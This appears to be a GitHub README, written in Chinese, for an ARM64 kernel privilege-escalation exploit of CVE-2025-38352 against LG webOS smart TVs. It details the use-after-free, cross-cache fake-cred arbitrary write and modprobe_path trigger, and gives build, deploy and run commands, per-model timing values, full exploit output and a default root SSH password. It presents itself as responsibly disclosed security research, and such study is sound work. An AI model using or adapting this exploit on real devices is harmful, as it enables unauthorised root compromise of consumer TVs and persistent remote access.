AnalyticETH/chronomaly-webos

GitHub: AnalyticETH/chronomaly-webos

针对 LG webOS 智能电视 CVE-2025-38352 内核漏洞的 ARM64 提权 exploit,在真实硬件上实现持久化 root。

Stars: 9 | Forks: 0

# Chronomaly — LG webOS 上的 CVE-2025-38352 针对 [CVE-2025-38352](https://source.android.com/docs/security/bulletin/2025-09-01)(POSIX CPU 定时器竞态条件 / use-after-free)的内核 exploit,可在运行 ARM64 架构 kernel 5.4.268 的 LG webOS 智能电视上实现持久化 root。已在跨多个固件版本的 4 款电视型号上验证。已负责任地向 LG 安全研究员计划披露(2026 年 2 月)。 基于 [farazsth98](https://github.com/farazsth98) 的 [Chronomaly](https://github.com/farazsth98/chronomaly) 构建。第一阶段的 UAF 竞态逻辑和 cross-cache 基础架构已移植并适配至 ARM64;第 2 至 5 阶段采用了全新的 exploit 技术进行了重新设计,并解决了仿真环境中不存在的真实硬件限制。在 Claude Opus 4.6 的协助下开发。 有关完整的漏洞分析、exploit 链演练以及建议的缓解措施,请参阅 [VULNERABILITY_REPORT.md](VULNERABILITY_REPORT.md)。 ## 结果 - 从非特权 `prisoner` 用户 (uid=5038) 获得持久化的内核 root (uid=0) - 已在 5 款 LG 电视型号上验证:OLED65C2PUA、86QNED70AUA、OLED77C5PUA、OLED77G4WUA、OLED65C4PUA - 在固件版本 33.22.65 – 33.30.97(kernel 5.4.268-320 和 -329)上确认 - 完全自动化,几分钟内完成,通过 Homebrew Channel 提权可在重启后存活 - 已报告给 LG 安全研究员计划(2026 年 2 月 7 日) ## 免责声明 此 exploit 作为负责任的安全研究的一部分开发,并于 2026 年 2 月 7 日报告给 LG 安全研究员计划。其发布仅出于教育目的。请负责任地使用,并仅在您拥有的设备上使用。对于因使用本软件造成的任何损坏、设备变砖、数据丢失或保修失效,作者概不负责。本软件按“原样”提供,不提供任何担保。 ## 全新技术 ### 1. 重新设计的写入原语 原始版本的任意递减操作缓慢且噪声大:它通过 fork 出的进程喷射 1,000 个 `struct cred` 对象,然后将目标 cred 的 EUID 字段递减 N 次。每次递减都是一个独立的操作。这在 QEMU 中是可以接受的,因为其对时序的容忍度高,但在真实硬件上却不可靠,因为中断驱动的页面回收可能会在操作之间窃取 pipe buffer 页面。 这被通过 `list_del_init()` 实现的单次任意写入所取代。该 exploit 通过 pipe buffer 覆盖被 UAF 的 sigqueue 的 `list_head.next` 和 `list_head.prev` 指针。当内核将待处理信号出队时(`collect_signal()` → `list_del_init()`),它会执行 `prev->next = next`(将伪造的 cred 地址写入 `task_struct->cred`)和 `next->prev = prev`(受控的副作用写入)。一次写入即可将该进程的 cred 指针替换为指向一个包含全零 uid/gid 字段的伪造 cred 结构的指针。无需 cred 喷射,无需 fork 进程,具有确定性。 ### 3. 第二个 Cross-Cached Pipe Buffer 中的伪造 Cred 原始版本喷射 cred 对象,并期望其中一个落在可预测的位置。此版本通过执行第二次 cross-cache 在已知地址构造伪造的 cred 结构:分配一个新的 sigqueue(通过 `tkill(SIGRTMIN+1)`),从第一个 pipe buffer 的堆泄漏中获取其地址,然后将该 sigqueue 的 slab 页面 cross-cache 到第二个 pipe buffer 中。伪造的 cred 被写入第二个 pipe buffer 中泄漏的 sigqueue 地址的精确页面偏移量处。最终结果是在确定性的内核虚拟地址上获得一个无需猜测的伪造 cred。 ### 4. 将 SIGUSR2 保持为挂起状态作为最终写入触发器 原始版本在阶段 2 早期将 SIGUSR2 出队以泄漏 UAF sigqueue 的地址。这会消耗掉该信号,因此原始版本需要一种不同的机制来进行最终写入。此版本永远不需要 UAF sigqueue 自身的地址(堆泄漏来自 pipe buffer 中相邻的 sigqueue 指针)。SIGUSR2 在所有五个阶段中保持挂起状态,其出队操作被用作最终的任意写入触发器。创建 UAF 的信号与利用 UAF 进行出队的信号是同一个信号。 ### 5. `modprobe_path` + `socket(44)` 提权 伪造的 cred 结构具有 NULL 的 `user_ns`、`user` 和 `group_info` 指针(因为 pipe buffer 在 uid/gid 字段之外被零初始化)。调用 `setresuid()`、`fork()` 或 `exec()` 会解引用这些 NULL 指针并导致内核崩溃。原始版本避免了这种情况,因为其 cred 喷射使用的是带有有效指针的真实 cred 对象。 解决方案:覆盖 `/proc/sys/kernel/modprobe` 以指向 payload 脚本(`/tmp/pwn`),然后通过 `socket(44, SOCK_STREAM, 0)`(请求一个不存在的协议族)触发 `call_usermodehelper`。内核使用 `init_cred`(内核自身的 root 凭据,完全有效)执行 modprobe 助手,彻底绕过了已损坏的 cred。payload 以完全的 root 权限运行,并可执行任意操作。 ### 6. 真实硬件的时序保护 阶段 4 中的关键时间窗口(将恶意指针写入 pipe buffer,然后触发信号出队)很容易受到硬件中断的影响,导致 pipe buffer 页面从 per-CPU 页面列表中被窃取。这种情况不会在 QEMU 中发生。在真实硬件上,该时间窗口受 `SCHED_FIFO` 优先级(如果可用)和 `sched_yield()`(允许 CPU 上的待处理工作在进入临界区之前完成)保护,此外还有预准备的 buffer 内容,以最大程度地减少写入和触发之间的时间。当 `SCHED_FIFO` 不可用时(例如在 webOS 上,prisoner 用户缺少 `CAP_SYS_NICE`),该 exploit 也会优雅地进行降级处理。 ### 7. ARM64 `task_struct` 偏移量逆向工程 任意写入针对的是 `task_struct->cred`,这需要知道从 `task_struct->pending`(其地址从 pipe buffer 中泄漏)到 `task_struct->cred` 的字节偏移量。此偏移量取决于内核配置。0x80(128 字节)偏移量是根据 LG webOS 内核源码手动计算的,其中考虑了 `CONFIG_KEYS=y`、`CONFIG_SYSVIPC=y` 以及 ARM64 特定的结构体布局和对齐方式。由于不同的结构体打包和配置选项,原始版本中的 x86_64 偏移量会有所不同。 ## 工作原理 成功后,该 exploit 将: 1. 通过 UAF → cross-cache → 任意写入(cred 覆盖)获得内核 root 权限 2. 覆盖 `/proc/sys/kernel/modprobe` 以 init 身份运行提权 payload 3. 该 payload 将安装并提升 [Homebrew Channel](https://github.com/webosbrew/webos-homebrew-channel),并移除 Dev Mode 应用 4. 重启后,Homebrew Channel 将在端口 22 上提供持久化的 root SSH ## 快速开始 ### 前置条件 - 带有 kernel 5.4.268 (ARM64) 的 LG webOS 电视 - 电视上启用了 Dev Mode(通过端口 9922 进行 SSH 访问) - ARM64 交叉编译器(`aarch64-linux-gnu-gcc`) - Homebrew Channel IPK — 从 [webosbrew releases](https://github.com/webosbrew/webos-homebrew-channel/releases/) 下载 ### 安装交叉编译器 ``` # macOS (requires third-party tap) brew tap messense/macos-cross-toolchains brew install aarch64-unknown-linux-gnu # Ubuntu/Debian sudo apt-get install gcc-aarch64-linux-gnu ``` ### 推荐:首先安装 [Homebrew Channel](https://github.com/webosbrew/webos-homebrew-channel) **在**运行 exploit 之前,通过 Dev Mode 在您的电视上安装 Homebrew Channel 应用。这样提权 payload 只需对其进行提权(快速、可靠),而不是安装 + 提权(速度较慢,且可能会失败)。您可以使用 `ares-install` 或 Dev Manager 应用进行旁加载: ``` ares-install org.webosbrew.hbchannel_0.7.3_all.ipk ``` 如果未预装 HBC,该 exploit 将尝试从 `/tmp/hbchannel.ipk`(由 `deploy-webos.sh` 部署)进行安装,但这会增加可能会导致失败的额外步骤。 ### 编译、部署、运行 ``` # 1. Set your TV's IP and SSH key # Your TV's IP is in Settings > Network > Wi-Fi > Advanced Settings # The SSH key is generated by the LG Developer Mode app — look for the key # downloaded by Dev Manager or ares-setup-device (typically named webos_rsa) export WEBOS_IP="" export WEBOS_KEY="$HOME/.ssh/webos_rsa" # 2. Build and deploy (deploy-webos.sh handles the build automatically) ./deploy-webos.sh # 3. Connect and run ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP /tmp/exploit-arm64 ``` ## 环境变量 | 变量 | 默认值 | 描述 | |----------|---------|-------------| | `WEBOS_IP` | `192.168.1.100` | 电视 IP 地址 | | `WEBOS_PORT` | `9922` | SSH 端口 | | `WEBOS_USER` | `prisoner` | SSH 用户 | | `WEBOS_KEY` | `$HOME/.ssh/webos_rsa` | SSH 密钥路径 | ## 调优 该 exploit 接受命令行参数形式的时序参数: ``` /tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD] ``` 如果未提供参数,则使用编译时的默认值(DELAY=31000, DELTA=50, THRESHOLD=3000)。 如果提供了 DELAY 但未提供 DELTA,DELTA 将自动计算为 `DELAY / 600`(舍入到最接近的 5)。 ### 已知的有效数值 | 电视型号 | OTA ID | DELAY | DELTA | THRESHOLD | |----------|--------|-------|-------|-----------| | OLED65C2PUA | HE_DTV_W22O_AFABATPU | 29700 | 50 | 3000 | | 86QNED70AUA | HE_DTV_W25P_AFADATAA | 100000 | 165 | 3000 | | OLED77C5PUA | HE_DTV_W25G_AFABATAA | 30500 | 50 | 3000 | | OLED77G4WUA | HE_DTV_W24O_AFABATAA | 24500 | 50 | 2500 | | OLED65C4PUA | HE_DTV_W24G_AFABATAA | 30000 | 50 | 3000 | | OLED55C4PUA | HE_DTV_W24G_AFABATAA | 30300 | 50 | 3000 | | OLED48C3AUB | - | 31300 | 50 | 3000 | | OLED65C3PUA | HE_DTV_W23O_AFABJAAA | 27900 | 50 | 3000 | ### 为新电视寻找数值 查看 exploit 输出并调整 DELAY: ``` Parent raced too late → DECREASE DELAY Parent raced too early → INCREASE DELAY ``` 当两条消息都出现时,说明时序已经接近——保持运行,该 exploit 最终应该会命中竞态窗口。从编译时的默认值 (31000) 开始并据此进行调整。 ## 获取 Root 之后 1. 该 exploit 将等待 `/tmp/pwn` 完成——它经常会超时(这是正常的)。如有必要,请检查 `/tmp/pwn.log` 以手动验证 payload 是否已完成。 2. 重启电视 3. 重启后,Homebrew Channel 将在端口 22 上提供 SSH: ssh root@ # password: alpine ## 输出示例 ``` [*] Chronomaly - CVE-2025-38352 - webOS ARM64 [*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60 [*] Initializing... [*] Racing... [*] getpid() timing: 165 ns [+] Freed UAF sigqueue in parent process pid 28522 [+] Stage 2 - Cross-cache the UAF sigqueue's slab [+] Reallocated UAF sigqueue slab as a pipe buffer data page [+] Heap leak successful! Continuing... [+] SIGUSR2 kept pending - UAF sigqueue stays in list [+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer [+] fake_cred_addr = 0xffffff804908c820 [+] Stage 4 - Set up arbitrary write via UAF sigqueue [+] Will write: *0xffffff8048591378 = 0xffffff804908c820 [+] SIGUSR2 still pending from Stage 1 [DEBUG] All sigqueue fields verified OK [+] Stage 5 - Trigger arbitrary write via signal dequeue [+] Signal dequeued successfully! [+] Arbitrary write completed: task->cred now points to fake_cred [+] Current EUID: 0, UID: 1213797240 ██████╗ ██████╗ ██████╗ ████████╗ ██╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║ ██████╔╝██║ ██║██║ ██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ [+] ROOT ACHIEVED! EUID = 0 [+] modprobe -> /tmp/pwn [+] Rooting payload executed! ```
完整输出 (OLED C5) ``` [*] Chronomaly - CVE-2025-38352 - webOS ARM64 [*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60 [*] Initializing... [*] Racing... [*] getpid() timing: 165 ns [+] Freed UAF sigqueue in parent process pid 28522 [+] Stage 2 - Cross-cache the UAF sigqueue's slab [+] Reallocated UAF sigqueue slab as a pipe buffer data page [+] Cleaning up all cross-cache allocations to prepare for next cross-cache [+] Preparing task pending list for heap leaks [DEBUG] Pipe buffer page dump (non-zero qwords): [DEBUG] offset 0x960: 0xffffff804dbee2d0 [kernel ptr] [DEBUG] offset 0x968: 0xffffff80485913f8 [kernel ptr] [+] Heap leaks: - UAF sigqueue page offset 0x960 - Other sigqueue 0xffffff804dbee2d0 - Task pending list addr 0xffffff80485913f8 [+] Heap leak successful! Continuing... [+] SIGUSR2 kept pending - UAF sigqueue stays in list [+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer [+] new_addr = 0xffffff804908c820 (page offset 0x820) [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3... [+] Freeing slab 3 page... [+] Writing fake cred at page offset 0x820 [+] Reclaimed slab 3 page as second pipe buffer (with fake cred) [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1) [+] Stage 4 - Set up arbitrary write via UAF sigqueue [+] task_pending_list_addr = 0xffffff80485913f8 [+] cred_offset = 0x80 (128 bytes) [+] task_cred_ptr_addr = 0xffffff8048591378 [+] fake_cred_addr = 0xffffff804908c820 [+] Will write: *0xffffff8048591378 = 0xffffff804908c820 [+] SIGUSR2 still pending from Stage 1 [-] SCHED_FIFO unavailable - proceeding anyway [DEBUG] Verifying sigqueue fields in pipe buffer: [DEBUG] list.next = 0xffffff804908c820 (expected 0xffffff804908c820) OK [DEBUG] list.prev = 0xffffff8048591378 (expected 0xffffff8048591378) OK [DEBUG] flags = 1 (expected 1) OK [DEBUG] si_signo = 12 (expected 12 = SIGUSR2) OK [DEBUG] All sigqueue fields verified OK [+] Stage 5 - Trigger arbitrary write via signal dequeue [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now) [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820 [DEBUG] poll() returned 1, revents=0x1 [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5 [DEBUG] Key addresses for list_del_init: [DEBUG] UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378 [DEBUG] UAF.next (entry->next) = fake_cred = 0xffffff804908c820 [DEBUG] fake_cred[0] should be task_pending_list = 0xffffff80485913f8 [DEBUG] Expected writes: [DEBUG] *(0xffffff8048591378) = 0xffffff804908c820 (task->cred = fake_cred) [DEBUG] *(0xffffff804908c828) = 0xffffff8048591378 (fake_cred.prev = task_cred_ptr) [DEBUG] Verifying pipe buffers still valid... [DEBUG] realloc_pipe read(0) = 0 (errno=1) [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init... [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over. [DEBUG] read() returned 128, errno=0 (Success) [DEBUG] Blocking mode restored [+] Signal dequeued successfully! (read 128 bytes) [DEBUG] POST-DEQUEUE pipe buffer check: [DEBUG] list.next = 0xffffff80417e9960 [DEBUG] list.prev = 0xffffff80417e9960 [DEBUG] Pointers changed by kernel (list_del_init applied to our page) [+] Arbitrary write completed: task->cred now points to fake_cred [+] Checking privileges... [+] Current EUID: 0, UID: 1213797240 ██████╗ ██████╗ ██████╗ ████████╗ ██╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║ ██████╔╝██║ ██║██║ ██║ ██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ [+] ROOT ACHIEVED! EUID = 0 [+] modprobe -> /tmp/pwn [+] Rooting payload executed! [+] Waiting for /tmp/pwn to finish... [+] May take up to 5 minutes to finish. ```
## 许可证 原创贡献部分采用 MIT 授权。由于上游项目在发布时未包含明确的许可证,因此从 farazsth98 的 [Chronomaly](https://github.com/farazsth98/chronomaly) 衍生而来的部分不包含在 MIT 授权范围内。详情请参阅 [LICENSE](LICENSE)。 ## 参考 - [CVE-2025-38352](https://source.android.com/docs/security/bulletin/2025-09-01) — 2025 年 9 月 Android 安全公告(已被在野利用) - [Chronomaly](https://github.com/farazsth98/chronomaly) — 由 farazsth98 开发的原始 exploit (x86_64/QEMU) - [第 1 部分 — 在野 Android 内核漏洞分析 + PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/) - [第 2 部分 — 在没有内核补丁的情况下扩展竞态窗口](https://faith2dxy.xyz/2025-12-24/cve_2025_38352_analysis_part_2/) - [第 3 部分 — 揭开 Chronomaly 的面纱](https://faith2dxy.xyz/2026-01-03/cve_2025_38352_analysis_part_3/) - [Homebrew Channel](https://github.com/webosbrew/webos-homebrew-channel)
标签:Cutter, 内存分配, 安全渗透, 客户端加密